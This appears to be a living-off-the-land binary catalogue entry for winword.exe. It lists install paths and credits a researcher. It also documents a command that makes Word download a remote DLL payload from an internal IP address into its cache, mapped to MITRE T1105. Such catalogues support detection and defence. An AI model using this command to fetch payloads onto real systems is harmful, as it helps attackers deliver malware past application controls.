.. /
Winword.exe
Microsoft Office binary
Paths:
- C:\Program Files\Microsoft Office\root\Office16\winword.exe
- C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe
- C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe
- C:\Program Files (x86)\Microsoft Office\Office16\winword.exe
- C:\Program Files\Microsoft Office\Office16\winword.exe
- C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe
- C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe
- C:\Program Files (x86)\Microsoft Office\Office15\winword.exe
- C:\Program Files\Microsoft Office\Office15\winword.exe
- C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe
- C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe
- C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
- C:\Program Files\Microsoft Office\Office14\winword.exe
- C:\Program Files (x86)\Microsoft Office\Office12\winword.exe
- C:\Program Files\Microsoft Office\Office12\winword.exe
- C:\Program Files\Microsoft Office\Office12\winword.exe
Resources:
https://twitter.com/reegun21/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
Acknowledgement:
Reegun J (OCBC Bank) - @reegun21
Detection:
Download
Downloads payload from remote server
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Usecase:It will download a remote payload and place it in the cache folder
Privileges required:User
OS:Windows
Mitre:T1105